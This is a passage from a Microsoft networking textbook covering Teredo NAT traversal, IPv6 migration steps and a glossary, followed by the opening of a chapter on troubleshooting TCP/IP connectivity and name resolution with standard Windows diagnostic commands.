The first 64 bits are set to the value included in the Prefix Information option of the received router
advertisement. The 64-bit prefix advertised by the Teredo server consists of the Teredo prefix
(2001::/32) and the public IPv4 address of the Teredo server (32 bits).
The next 16 bits are the Flags field with the high-order bit set to either 1 (cone NAT) or 0 (restricted
NAT).
The next 16 bits are set to the obscured external UDP port number for Teredo traffic.
The last 32 bits are set to the obscured external IPv4 address for Teredo traffic.
The external IPv4 address and UDP port number for Teredo traffic are included in an extra Teredo
header in the router advertisements sent by the Teredo servers.
Initial Communication Between Two Teredo Clients in Different Sites
The set of packets sent during the initial communication between Teredo clients located in different
sites depends on whether the Teredo clients are located behind cone NATs or restricted NATs.
When a Teredo client is located behind a cone NAT, the NAT translation table entries for Teredo traffic
for the Teredo client allows traffic from any source IP address or source UDP port. Therefore, a Teredo
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 456
client can send packets directly to another Teredo client behind a cone NAT without having to send
additional packets.
When a Teredo client is located behind a restricted NAT, the NAT translation table entries for Teredo
traffic for the Teredo client is only allowed from specific IPv4 addresses and UDP port numbers.
Therefore, when a Teredo client is located behind a restricted NAT, an initiating Teredo client must first
send packets to create a source-specific NAT mapping that allows the initiating Teredo client's traffic to
traverse the restricted NAT, prior to sending the initial communication packet.
Figure 15-10 shows the initial communication process between Teredo clients that are located in
different sites when both sites are using restricted NATs.
Figure 15-10 Process for sending an initial packet when two Teredo clients are located behind restricted
NATs
To send an initial communication packet from Teredo Client A to Teredo Client B, the following process
is used:
1. Teredo Client A sends a bubble packet directly to Teredo Client B. A bubble packet contains no data
and is used to create or maintain NAT mappings. Because Teredo Client B is behind a restricted
NAT, Teredo traffic from an arbitrary source IPv4 address and UDP port number is not allowed
unless there is a source-specific NAT translation table entry. Assuming that there is none, the
restricted NAT silently discards the bubble packet. However, when the restricted NAT for Teredo
Client A forwarded the bubble packet, it created a source-specific NAT translation table entry that will
allow future packets sent from Teredo Client B to be forwarded to Teredo Client A.
2. Teredo Client A sends a bubble packet to Teredo Client B through Teredo Server 2 (Teredo Client
B's Teredo server). The IPv4 destination address in the bubble packet is set to the IPv4 address of
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 457
Teredo Server 2, which Teredo Client A determines from the third and fourth blocks of Teredo Client
B's Teredo address.
3. Teredo Server 2 forwards the bubble packet to Teredo Client B. The restricted NAT for Teredo Client
B forwards the packet because there is an existing source-specific mapping for Teredo traffic from
Teredo Server 2 (established by the initial configuration of Teredo Client B).
4. Teredo Client B responds to the bubble packet received from Teredo Client A with its own bubble
packet, which is sent directly to Teredo Client A. Because Teredo Client A's restricted NAT has a
source-specific mapping for Teredo traffic from Teredo Client B (as established by the initial bubble
packet sent from Teredo Client A in step 1), it forwards the bubble packet to Teredo Client A.
5. Upon receipt of the bubble packet from Teredo Client B, Teredo Client A determines that source-
specific NAT mappings exist for both NATs. Teredo Client A sends an initial communication packet
directly to Teredo Client B. Subsequent packets are sent directly between Teredo Client A and
Teredo Client B.
This process occurs transparently to the users at Teredo Client A and Teredo Client B.
There are additional initial communication processes for when the destination for the initial packet is on
the same link, on the IPv6 Internet, or with a Teredo host-specific relay. For more information, see
Teredo Overview.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 458
Migrating to IPv6
The migration of IPv4 to IPv6 will be a long process. As a general guideline, to migrate from IPv4 to
IPv6, you must perform the following steps:
1. Begin upgrading your applications to be independent of IPv4 or IPv6.
For example, Windows Sockets applications might need be changed to use new Windows Sockets
application programming interfaces (APIs) so that name resolution, socket creation, and other
functions are independent of whether IPv4 or IPv6 is being used.
2. Update the DNS infrastructure to support IPv6 address and PTR records.
The DNS infrastructure might need to be upgraded to support the new AAAA records and PTR
records in the IP6.ARPA reverse domain.
3. Upgrade hosts to IPv6/IPv4 nodes.
Hosts must be upgraded to use both IPv4 and IPv6 in a dual IP layer or dual stack architecture. DNS
resolver support must also be updated to process DNS query results that contain both IPv4 and IPv6
addresses.
4. Deploy ISATAP.
This optional step provides tunneled IPv6 connectivity before native IPv6 connectivity is deployed
across your network.
5. Upgrade routing infrastructure for native IPv6 routing.
Routers must be upgraded and configured to support native IPv6 prefix advertisement and routing.
6. Convert IPv6/IPv4 nodes to IPv6-only nodes.
IPv6/IPv4 nodes can be upgraded to be IPv6-only nodes. This should be a long-term goal because it
will take years for current IPv4-only network devices to be upgraded to IPv6-only. For those IPv4-only
nodes that cannot be upgraded to IPv6/IPv4 or IPv6-only, employ translation gateways or proxies as
appropriate so that IPv4-only nodes can communicate with IPv6-only nodes.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 459
Chapter Summary
The chapter includes the following pieces of key information:
IPv6/IPv4 nodes with a dual stack or dual IP architecture, DNS infrastructure, and IPv6 over IPv4
tunneling are used to coexist with an IPv4 infrastructure and to provide eventual migration to an IPv6-
only infrastructure.
A configured tunnel requires manual configuration of the tunnel endpoints. An automatic tunnel is a
tunnel that does not require manual configuration. Tunnel endpoints are determined from routes and
tunneling interfaces.
ISATAP is an address assignment and host-to-host, host-to-router, and router-to-host automatic
tunneling technology that provides unicast IPv6 connectivity between IPv6 hosts across an IPv4
intranet.
ISATAP addresses are composed of a valid 64-bit unicast address prefix and the interface identifier of
either ::200:5EFE:w.x.y.z (w.x.y.z is a unicast public IPv4 address) or ::0:5EFE:w.x.y.z (w.x.y.z is a
unicast private IPv4 address).
6to4 is an address assignment and router-to-router automatic tunneling technology that provides
unicast IPv6 connectivity between IPv6 sites and hosts across the IPv4 Internet.
6to4 addresses are based on the prefix 2002:WWXX:YYZZ::/48 (in which WWXX:YYZZ is the colon
hexadecimal representation of w.x.y.z, a public IPv4 address).
Teredo is an address assignment and host-to-host or host-to-router automatic tunneling technology that
provides unicast IPv6 connectivity across the IPv4 Internet when IPv6/IPv4 hosts are located behind
one or multiple IPv4 NATs.
To migrate from IPv4 to IPv6 you must upgrade your applications to be independent of IPv4 or IPv6,
update the DNS infrastructure to support IPv6 address records, upgrade hosts to IPv6/IPv4 nodes,
deploy ISATAP, upgrade your routing infrastructure for native IPv6 routing, and then convert IPv6/IPv4
nodes to IPv6-only nodes.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 460
Chapter Glossary
_ISATAP name – See ISATAP name.
6to4 – An IPv6 transition technology that is used to provide unicast IPv6 connectivity between IPv6
sites across the IPv4 Internet. 6to4 uses a public IPv4 address to construct a global IPv6 address
prefix.
6to4 address – An address of the type 2002:WWXX:YYZZ:Subnet_ID:Interface_ID, where
WWXX:YYZZ is the colon hexadecimal representation of w.x.y.z (a public IPv4 address). A 6to4
address is used to represent a node for the 6to4 transition technology.
6to4 host – An IPv6 host that is configured with at least one 6to4 address (a global address with the
2002::/16 prefix). 6to4 hosts do not require manual configuration and create 6to4 addresses by using
standard address autoconfiguration mechanisms.
6to4 relay – An IPv6/IPv4 router that forwards 6to4-addressed traffic between 6to4 routers on the IPv4
Internet and hosts on the IPv6 Internet.
6to4 router – An IPv6/IPv4 router that supports the use of a 6to4 tunnel interface and is typically used
to forward 6to4-addressed traffic between the 6to4 hosts within a site and other 6to4 routers or 6to4
relays on the IPv4 Internet.
automatic tunnel – An IPv6 over IPv4 tunnel in which the tunnel endpoints are determined by the use
of logical tunnel interfaces and routes.
configured tunnel – An IPv6 over IPv4 tunnel in which the tunnel endpoints are determined by manual
configuration.
dual IP layer architecture – The architecture of an IPv6/IPv4 node in which a single implementation of
Transport layer protocols such as TCP and UDP operate over separate implementations of IPv4 and
IPv6.
dual stack architecture – The architecture of an IPv6/IPv4 node that consists of two separate protocol
stacks, one for IPv4 and one for IPv6, and each stack has its own implementation of the Transport layer
protocols (TCP and UDP).
host-to-host tunneling – IPv6 over IPv4 tunneling where the tunnel endpoints are two hosts. For
example, an IPv6/IPv4 node that resides within an IPv4 infrastructure creates an IPv6 over IPv4 tunnel
to reach another host that resides within the same IPv4 infrastructure.
host-to-router tunneling – IPv6 over IPv4 tunneling where the tunnel begins at a sending host and ends
at an IPv6/IPv4 router. For example, an IPv6/IPv4 node that resides within an IPv4 infrastructure
creates an IPv6 over IPv4 tunnel to reach an IPv6/IPv4 router.
Intra-site Automatic Tunnel Addressing Protocol (ISATAP) – An IPv6 transition technology that
provides unicast IPv6 connectivity between IPv6 hosts across an IPv4 intranet. ISATAP derives the
interface ID from an IPv4 address (public or private) assigned to a host.
IPv6 in IPv4 – See IPv6 over IPv4 tunneling.
IPv6 over IPv4 tunneling – The encapsulation of IPv6 packets with an IPv4 header so that IPv6 traffic
can be sent across an IPv4 infrastructure. In the IPv4 header, the Protocol field is set to 41.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 461
IPv6/IPv4 node – A node that uses both IPv4 and IPv6.
IPv6-only node – A node that uses only IPv6 and is assigned only IPv6 addresses.
ISATAP – See Intra-site Automatic Tunnel Addressing Protocol (ISATAP).
ISATAP address – An address of the type UnicastAddressPrefix:200:5EFE:w.x.y.z (in which w.x.y.z is
a public IPv4 address) or UnicastAddressPrefix:0:5EFE:w.x.y.z (in which w.x.y.z is a private IPv4
address).
ISATAP host – A host that is assigned an ISATAP address.
ISATAP name – The name that by default is resolved by computers running Windows Vista, Windows
XP with Service Pack 1 and later, Windows Server 2008, or Windows Server 2003 to automatically
discover the IPv4 address of the ISATAP router. Computers running Windows XP with no service packs
installed by default attempt to resolve the name "_ISATAP".
ISATAP router – An IPv6/IPv4 router that responds to tunneled router solicitations from ISATAP hosts
and forwards traffic between ISATAP hosts and nodes on other IPv6 subnets.
router-to-host tunneling – IPv6 over IPv4 tunneling in which the tunnel begins at a forwarding router
and ends at an IPv6/IPv4 host. For example, an IPv6/IPv4 router creates an IPv6 over IPv4 tunnel to
reach an IPv6/IPv4 host that resides within an IPv4 infrastructure.
router-to-router tunneling – IPv6 over IPv4 tunneling in which the tunnel begins at a forwarding router
and ends at an IPv6/IPv4 router. For example, an IPv6/IPv4 router on the edge of an IPv6 network
creates an IPv6 over IPv4 tunnel to reach another IPv6/IPv4 router.
Chapter 15 – IPv6 Transition Technologies
TCP/IP Fundamentals for Microsoft Windows
Page: 462
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 463
Chapter 16 – Troubleshooting TCP/IP
Abstract
This chapter describes how to troubleshoot problems with connectivity, name resolution, and Transmission Control
Protocol (TCP) session creation using the set of tools and capabilities provided in Microsoft Windows operating
systems. A network administrator must know how to methodically analyze a TCP/IP-related networking problem in
terms of the various layers of the TCP/IP model and use the appropriate tools to be effective in isolating and resolving
issues with successful communication on an TCP/IP network.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 464
Chapter Objectives
After completing this chapter, you will be able to:
List the common questions to ask when troubleshooting.
List the set of TCP/IP troubleshooting tools provided with Windows and describe how each is used to
obtain troubleshooting information.
List and describe the guidelines, tools, and techniques for troubleshooting Internet Protocol version 4
(IPv4) communications including IPv4 connectivity, Domain Name System (DNS) name resolution for
IPv4 addresses, Network basic input/output system (NetBIOS) name resolution, and IPv4-based TCP
sessions.
List and describe the guidelines, tools, and techniques for troubleshooting Internet Protocol version 6
(IPv6) communication including IPv6 connectivity, DNS name resolution for IPv6 addresses, and IPv6-
based TCP sessions.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 465
Identifying the Problem Source
A logical approach is helpful when troubleshooting any problem. Some common questions to ask during
troubleshooting include the following:
What works?
What does not work?
How are the things that do and do not work related?
Have the things that do not work ever worked?
If so, what has changed since it last worked?
The answers to these questions can indicate where to begin troubleshooting, possibly allowing you to
isolate the component, layer, or configuration issue that is causing the problem.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 466
Windows Troubleshooting Tools
Windows provides a full set of configuration, administration, and diagnostic tools and services that can
be used to troubleshoot TCP/IP problems, as listed in Table 16-1.
Tool
Description
Arp
Allows viewing and editing of the Address Resolution Protocol
(ARP) cache.
Hostname
Displays the host name of the computer.
Ipconfig
Displays the current TCP/IP configuration for both IPv4 and
IPv6. Also used to manage Dynamic Host Configuration Protocol
(DHCP)-allocated IPv4 address configurations, display or flush
the DNS client resolver cache, and register DNS names.
Nbtstat
Displays NetBIOS over TCP/IP (NetBT) configuration and allows
management of the NetBIOS name cache.
Netsh
Configuration tool for many network services. For each network
service, there is a context containing commands specific for that
service. For the netsh interface ip, netsh interface ipv4, and
netsh interface ipv6 contexts, displays and administers TCP/IP
protocol settings on either the local computer or a remote
computer.
Netstat
Displays protocol statistics and information on current TCP
connections.
Nslookup
Performs DNS queries and displays the results.
Ping
Sends Internet Control Message Protocol (ICMP) Echo or
Internet Control Message Protocol for IPv6 (ICMPv6) Echo
Request messages to test reachability.
Route
Allows viewing of the IPv4 and IPv6 routing tables and editing of
the IPv4 routing table.
Tracert
Sends ICMP Echo or ICMPv6 Echo Request messages to trace
the network route taken by IPv4 or IPv6 packets to a specific
destination.
Pathping
Sends ICMP Echo or ICMPv6 Echo Request messages to trace
the route an IPv4 or IPv6 packet takes to a destination and
displays information on packet losses for each router and link in
the path.
SNMP service
Provides status and statistical information to Simple Network
Management System (SNMP) management systems.
Event Viewer
Records errors and events.
Performance Logs and Alerts
Logs TCP/IP core protocol performance and sends alerts (the
SNMP service must be installed).
Network Monitor
Captures and displays the contents of TCP/IP packets sent to
and from computers.
Netdiag
Runs a series of diagnostics test on networking components.
Netdiag is installed as part of the Windows XP and Windows
Server 2003 Support Tools in the Support\Tools folder of the
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 467
Windows XP or Windows Server 2003 product CD-ROM.
Telnet
Tests TCP connection establishment between two nodes.
Ttcp
Listens for and sends TCP segment data or UDP messages
between two nodes. Ttcp.exe is provided with Windows Server
2003 in the Valueadd\Msft\Net\Tools folder of the Windows
Server 2003 product CD-ROM.
Table 16-1 Tools and Services for Troubleshooting TCP/IP
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 468
Troubleshooting IPv4
The following sections describe the tools and techniques used to identify a problem at successive
layers of the TCP/IP protocol stack that is using an IPv4 Internet layer. Depending on the type of
problem, you might do one of the following:
Start at the bottom of the stack and move up.
Start at the top of the stack and move down.
The following sections are organized from the top of the stack and describe how to:
Verify IPv4 connectivity.
Verify DNS name resolution for IPv4 addresses.
Verify NetBIOS name resolution.
Verify IPv4-based TCP sessions.
Although not specified in the following sections, you can also use Network Monitor to capture IPv4
traffic to troubleshoot many problems with IPv4-based TCP/IP communications. However, to correctly
interpret the display of IPv4 packets in Network Monitor, you must have an detailed knowledge of the
protocols included in each packet.
Verifying IPv4 Connectivity
You can use the following tasks to troubleshoot problems with IPv4 connectivity:
Repair the connection
Verify configuration
Manage configuration
Verify reachability
Check packet filtering
View and manage the IPv4 routing table
Verify router reliability
Repair the Connection
The Network Connection Repair feature can be used to quickly renew IPv4 network connection settings
in an attempt to correct common configuration problems. Network Connection Repair performs a series
of tasks that attempt to renew the connection as if it were just initialized. To access Network Connection
Repair, do the following:
1. Open the Network Connections folder.
2. Right-click the connection that you want to repair, and then click Repair.
You can also click Repair on the Support tab for the status of a network connection.
The tasks that are performed by Network Connection Repair are the following:
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 469
Checks whether DHCP is enabled and, if enabled, sends a broadcast DHCPRequest message to
refresh the IPv4 address configuration.
Flushes the ARP cache. This is equivalent to the arp -d * command.
Flushes and reloads the DNS client resolver cache with entries from the Hosts file. This is equivalent to
the ipconfig /flushdns command.
Re-registers DNS names using DNS dynamic update. This is equivalent to the ipconfig /registerdns
command.
Flushes and reloads the NetBIOS name cache with #PRE entries in the Lmhosts file. This is equivalent
to the nbtstat -R command.
Releases and then re-registers NetBIOS names with the Windows Internet Name Service (WINS). This
is equivalent to the nbtstat -RR command.
Verify Configuration
To check the current IPv4 settings for the correct address configuration (when manually configured) or
an appropriate address configuration (when automatically configured), you can use the following:
ipconfig /all
The display of the ipconfig /all command includes IPv4 addresses, default gateways, and DNS
settings for all interfaces. The Ipconfig tool only works on the local computer.
netsh interface ip show config
The display of the netsh interface ip show config command includes DNS and WINS servers per
interface. Netsh can also be used to show the configuration of a remote computer by using the –r
RemoteComputerName command line option. For example, to display the configuration of the
remote computer named FILESRV1, use the netsh –r filesrv1 interface ip show config
command.
Support tab on the Status dialog box on a network connection
To get the status of a network connection, double-click the connection in the Network Connections
folder, and then click the Support tab. The Support tab lists the address type (DHCP or manually
configured), the IPv4 address, subnet mask, and default gateway. Click Details on the Support tab
to display the media access control (MAC) address, DHCP lease information, DNS servers, and
WINS servers.
Manage Configuration
To make changes to the IPv4 address configuration, you can use the following:
Network Connections folder
From the Network Connections folder, you can make changes to the properties of the Internet
Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component for the appropriate network
connection.
netsh interface ip set commands
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 470
You can use the netsh interface ip set address command to configure the address type (DHCP or
manually configured), the IPv4 address, subnet mask, and default gateway. You can use the netsh
interface ip set dns command to configure the source of DNS server addresses (DHCP or
manually configured), a DNS server address, and DNS registration behavior. You can use the
netsh interface ip set wins command to configure the source of WINS server addresses (DHCP
or manually configured) and a WINS server address.
You can also use the –r RemoteComputerName command line option of the Netsh tool to manage
the IPv4 configuration of a remote computer.
Ipconfig commands to manage DHCP addresses
You can use the following commands to manage DHCP addresses:
ipconfig /release
ipconfig /renew
ipconfig /showclassid
ipconfig /setclassid
For more information about using Ipconfig commands to manage DHCP address configurations, see
Chapter 6, "Dynamic Host Configuration Protocol."
Verify Reachability
To verify reachability with a local or remote destination, try the following:
Check and flush the ARP cache
To display the current contents of the ARP cache, use the arp –a command. To flush the ARP
cache, use the arp –d * command. This command also removes static ARP cache entries.
Ping the default gateway
Use the Ping tool to ping your default gateway by its IPv4 address. You can obtain the IPv4
address of your default gateway from the display of the ipconfig, netsh interface ip show config,
or route print commands. Pinging the default gateway tests whether you can reach local nodes
and whether you can reach the default gateway, which is used to forward IPv4 packets to remote
nodes. This step might not succeed if the default gateway is filtering all ICMP messages.
Ping a remote destination by its IPv4 address
If you are able to ping your default gateway, ping a remote destination by its IPv4 address. This
step might not succeed if the destination is filtering all ICMP messages. Filtering of ICMP messages
is prevalent on the Internet.
Trace the route to the remote destination
If you are unable to ping a remote destination by its IPv4 address, there might be a routing problem
between your node and the destination node. Use the tracert –d IPv4Address command to trace
the routing path to the remote destination. The –d command line option prevents the Tracert tool
from performing a DNS reverse query on every near-side router interface in the routing path, which
speeds up the display of the routing path. This step might not succeed if the intermediate routers or
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 471
the destination are filtering all ICMP messages. Filtering of ICMP messages is prevalent on the
Internet.
Check Packet Filtering
The problem with reaching a destination node might be due to the configuration of Internet Protocol
security (IPsec) or packet filtering on the source node, intermediate routers, or destination node that is
preventing packets from being sent, forwarded, or received.
On the source node, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
For computers running Windows Server 2008 or Windows Server 2003, Routing and Remote Access
IPv4 packet filters on routing interfaces with the Routing and Remote Access snap-in
On intermediate IPv4 routers that are running Windows Vista or Windows XP, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
On intermediate IPv4 routers that are running Windows Server 2008 or Windows Server 2003 and
Routing and Remote Access, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
Routing and Remote Access IPv4 packet filters on routing interfaces with the Routing and Remote
Access snap-in
NAT/Basic Firewall routing protocol component of Routing and Remote Access
On intermediate IPv4 routers or firewalls that are from third-party hardware vendors, check for the
configuration of packet filters—also called access lists—and IPsec policies and filters.
On the destination node that is running Windows, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
Whether Internet Connection Firewall or Windows Firewall is enabled
TCP/IP filtering
On the destination node that is running Windows Server 2008 or Windows Server 2003 and Routing
and Remote Access, check for the following:
Active connection security rules with the Windows Firewall with Advanced Security snap-in
Active IPsec policies with the IP Security Monitor snap-in
Routing and Remote Access IPv4 packet filters on routing interfaces with the Routing and Remote
Access snap-in
NAT/Basic Firewall routing protocol component of Routing and Remote Access
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 472
Whether Internet Connection Firewall or Windows Firewall is enabled
TCP/IP filtering
For more information about IPsec and packet filtering components, see Chapter 13, "Internet Protocol
Security (IPsec) and Packet Filtering."
View and Manage the Local IPv4 Routing Table
The inability to reach a local or remote destination might be due to incorrect or missing routes in the
IPv4 routing table. To view the IPv4 routing table, use the route print or netstat –r commands. Verify
that you have a route corresponding to your local subnet and, if a default gateway is configured, a
default route. If you have multiple default routes with the same lowest metric, then change your IPv4
configuration so that only one exists and is using the interface that connects to the network with the
largest number of subnets, such as the Internet.
To add a route to the IPv4 routing table, use the route add command. To modify an existing route, use
the route change command. To remove an existing route, use the route delete command.
Verify Router Reliability
If you suspect a problem with router performance, use the pathping –d IPv4Address command to trace
the route a packet takes to a destination and display information on packet losses for each router and
link in the path. The –d command line option prevents the Pathping tool from performing a DNS reverse
query on every near-side router interface in the routing path, which speeds up the display of the routing
path.
Verifying DNS Name Resolution for IPv4 Addresses
If reachability using IPv4 addresses works but reachability using host names does not, then you might
have a problem with host name resolution, which is typically an issue with configuration of the DNS
client or problems with DNS registration.
You can use the following tasks to troubleshoot problems with DNS name resolution:
Verify DNS configuration
Display and flush the DNS client resolver cache
Test DNS name resolution with the Ping tool
Use the Nslookup tool to view DNS server responses
Verify DNS Configuration
On the node having DNS name resolution problems, verify the following:
Host name
Primary DNS suffix
DNS suffix search list
Connection-specific DNS suffixes
DNS servers
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 473
You can obtain this information from the display of the ipconfig /all command. To obtain information
about which DNS names should be registered in DNS, use the netsh interface ip show dns
command.
To register the appropriate DNS names as IPv4 address resource records (also known as A resource
records) with DNS dynamic update, use the ipconfig /registerdns command.
Display and Flush the DNS Client Resolver Cache
TCP/IP checks the DNS client resolver cache before sending DNS name queries. If a positive cache
entry for name exists, the corresponding IPv4 address is used. If a negative cache entry for the name
exists, DNS name queries are not sent.
To display the contents of the DNS client resolver cache, use the ipconfig /displaydns command. To
flush the contents of the DNS client resolver cache and reload it with the entries in the Hosts file, use
the ipconfig /flushdns command.
Test DNS Name Resolution with Ping
To test DNS name resolution, use the Ping tool and ping a destination by its host name or fully qualified
domain name (FQDN). The Ping tool display shows the FQDN and its resolved IPv4 address. If the
host on which the Ping tool is being used is using both IPv4 and IPv6 and the DNS query returns both
IPv4 and IPv6 addresses, the Ping tool will use IPv6 addresses before IPv4 addresses. To force the
Ping tool to use an IPv4 address, use the –4 Ping command option.
Use the Nslookup Tool to View DNS Server Responses
If the Ping tool is using the wrong IPv4 address, flush the DNS client resolver cache with the ipconfig
/flushdns command and use the Nslookup tool to determine the set of addresses returned in the DNS
Name Query Response message. At the Nslookup > prompt, use the set d2 command to display the
maximum amount of information about the DNS response messages. Then, use Nslookup to look up
the desired FQDN and display the details of the DNS response message. Look for A records in the
detailed display of the DNS response messages.
Verifying NetBIOS Name Resolution
If reachability using IPv4 addresses works but reachability using NetBIOS names does not, then you
might have a problem with NetBIOS name resolution, which is typically a problem with NetBIOS over
TCP/IP configuration or WINS registration.
The following tools and tasks can be used to troubleshoot problems with NetBIOS name resolution:
Verify NetBT configuration
Display and reload the NetBIOS name cache
Test NetBIOS name resolution with Nbtstat
Verify NetBIOS over TCP/IP Configuration
On the node having NetBIOS name resolution problems, verify the following:
NetBIOS computer name
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 474
NetBIOS node type
Primary WINS server
Secondary WINS server
Whether NetBIOS over TCP/IP is disabled
You can obtain this information from the display of the ipconfig /all command. To obtain information
about the NetBIOS scope ID assigned to each interface, use the nbtstat -c command. To verify
whether Lmhosts lookup is enabled, check the WINS tab for the advanced properties of the Internet
Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component.
To display the local NetBIOS name table, use the nbtstat –n command. To display the NetBIOS name
table of a remote computer, use the nbtstat –a ComputerName or nbtstat –A IPv4Address commands.
To release and re-register the NetBIOS names of the node in WINS, use the nbtstat -RR command.
Display and Reload the NetBIOS Name Cache
The NetBIOS name cache is checked before sending WINS or broadcast name queries. If an entry
exists for a resolved name, TCP/IP uses the corresponding IPv4 address. To display the contents of the
NetBIOS name cache, use the nbtstat -c command. To flush the contents of the NetBIOS name cache
and reload it with the #PRE entries in the Lmhosts file, use the nbtstat -R command.
Test NetBIOS Name Resolution with Nbtstat
To test NetBIOS name resolution, use the nbtstat –a ComputerName command. This command
displays the NetBIOS name table of a computer specified by its NetBIOS computer name.
Verifying IPv4-based TCP Sessions
If reachability and name resolution are working but you cannot establish a TCP session with a
destination host, use the following tasks:
Check for packet filtering
Verify TCP session establishment
Verify NetBIOS sessions
Check for Packet Filtering
As previously discussed in the "Verifying IPv4 Communications" section of this chapter, packet filtering
by the source node, intermediate routers, and the destination node can prevent TCP sessions from
completing. Use the information in the "Verifying IPv4 Communications" section of this chapter to check
for packet filtering or IPsec policies at the source node, intermediate routers and firewalls, and the
destination node.
In many cases, packet filtering is configured to allow specific types of traffic and discard all others, or to
discard specific types of traffic and accept all others. As an example of the former case, a firewall or
Web server might be configured to allow only HyperText Transfer Protocol (HTTP) traffic and discard all
other traffic destined for the Web server. This means that you will be able to view Web pages on the
Web server, but not ping the Web server or access its shared folders and files.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 475
Verify TCP Session Establishment
To verify that a TCP connection can be established using the known destination TCP port number, you
can use the telnet IPv4Address TCPPort command. For example, to verify whether the Web server
service on the computer with the IPv4 address of 131.107.78.12 is accepting TCP connections, use the
telnet 131.107.78.12 80 command.
If the Telnet tool is successful in creating a TCP connection, the command prompt window will clear
and, depending on the protocol, display some text. This window allows you to type in commands to the
service to which you have connected. Type Control-C to exit the Telnet tool. If the Telnet tool cannot
successfully create a TCP connection, it displays the message "Connecting To IPv4Address...Could not
open connection to the host, on port TCPPort: Connect failed".
To test TCP connections, you can also use Port Query, a free tool from Microsoft to help troubleshoot
TCP/IP connectivity issues for specific types of TCP and UDP traffic. Port Query has a command-line
version (Portqry.exe) (available at PortQry Command Line Port Scanner Version 2.0) and a graphical
user interface version (Portqueryui.exe) (available at PortQryUI - User Interface for the PortQry
Command Line Port Scanner). Both versions run on Windows XP and Windows Server 2003-based
computers.
Another tool that you can use to test TCP connection establishment is Test TCP (Ttcp). With Ttcp, you
can both initiate TCP connections and listen for TCP connections. You can also use the Ttcp tool for
UDP traffic. With Ttcp, you can configure a computer to listen on a specific TCP or UDP port without
having to install the application or service on the computer. This allows you to test network connectivity
for specific traffic before the services are in place.
For more information about Port Query and Ttcp, see Testing Network Paths for Common Types of
Traffic.
Verify NetBIOS Sessions
To verify that you have established NetBIOS sessions, you can use the nbtstat –s command, which
displays the NetBIOS session table.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 476
Troubleshooting IPv6
The following sections describe the tools and techniques used to identify a problem at successive
layers of the TCP/IP protocol stack using an IPv6 Internet layer. Depending on the type of problem, you
might do one of the following:
Start at the bottom of the stack and move up.
Start at the top of the stack and move down.
The following sections are organized from the top of the stack and describe how to:
Verify IPv6 connectivity.
Verify DNS name resolution for IPv6 addresses.
Verify IPv6-based TCP connections.
Although not specified in the following sections, you can also use Network Monitor to capture IPv6
traffic to troubleshoot many problems with IPv6-based communications. However, to correctly interpret
the display of IPv6 packets in Network Monitor, you must have detailed knowledge of the protocols
included in each packet.
Verifying IPv6 Connectivity
You can use the following tasks to troubleshoot problems with IPv6 connectivity:
Verify configuration
Manage configuration
Verify reachability
Check packet filtering
View and manage the IPv6 routing table
Verify router reliability
Verify Configuration
To check the current IPv6 settings for the correct address configuration (when manually configured) or
an appropriate address configuration (when automatically configured), you can use the following:
ipconfig /all
The display of the ipconfig /all command includes IPv6 addresses, default routers, and DNS
settings for all interfaces. The Ipconfig tool only works on the local computer.
netsh interface ipv6 show address
This command only displays the IPv6 addresses assigned to each interface. Netsh can also be
used to show the configuration of a remote computer by using the –r RemoteComputerName
command line option. For example, to display the configuration of the remote computer named
FILESRV1, use the netsh –r filesrv1 interface ipv6 show address command.
Chapter 16 – Troubleshooting TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 477
Manage Configuration
To manually configure IPv6 addresses, use the netsh interface ipv6 set address command. In most
cases, you do not need to manually configure IPv6 addresses because they are automatically assigned
for hosts through IPv6 address autoconfiguration.
To make changes to the configuration of IPv6 interfaces, use the netsh interface ipv6 set interface
command. To add the IPv6 addresses of DNS servers, use the netsh interface ipv6 add dns
command.
You can use the –r RemoteComputerName command line option of the Netsh tool to manage the IPv6
configuration of a remote computer.
Verify Reachability
To verify reachability with a local or remote destination, try the following:
Check and flush the neighbor cache
Similar to the Address Resolution Protocol (ARP) cache, the neighbor cache stores recently
resolved link-layer addresses. To display the current contents of the neighbor cache, use the netsh
interface ipv6 show neighbors command. To flush the neighbor cache, use the netsh interface
ipv6 delete neighbors command.
Check and flush the destination cache
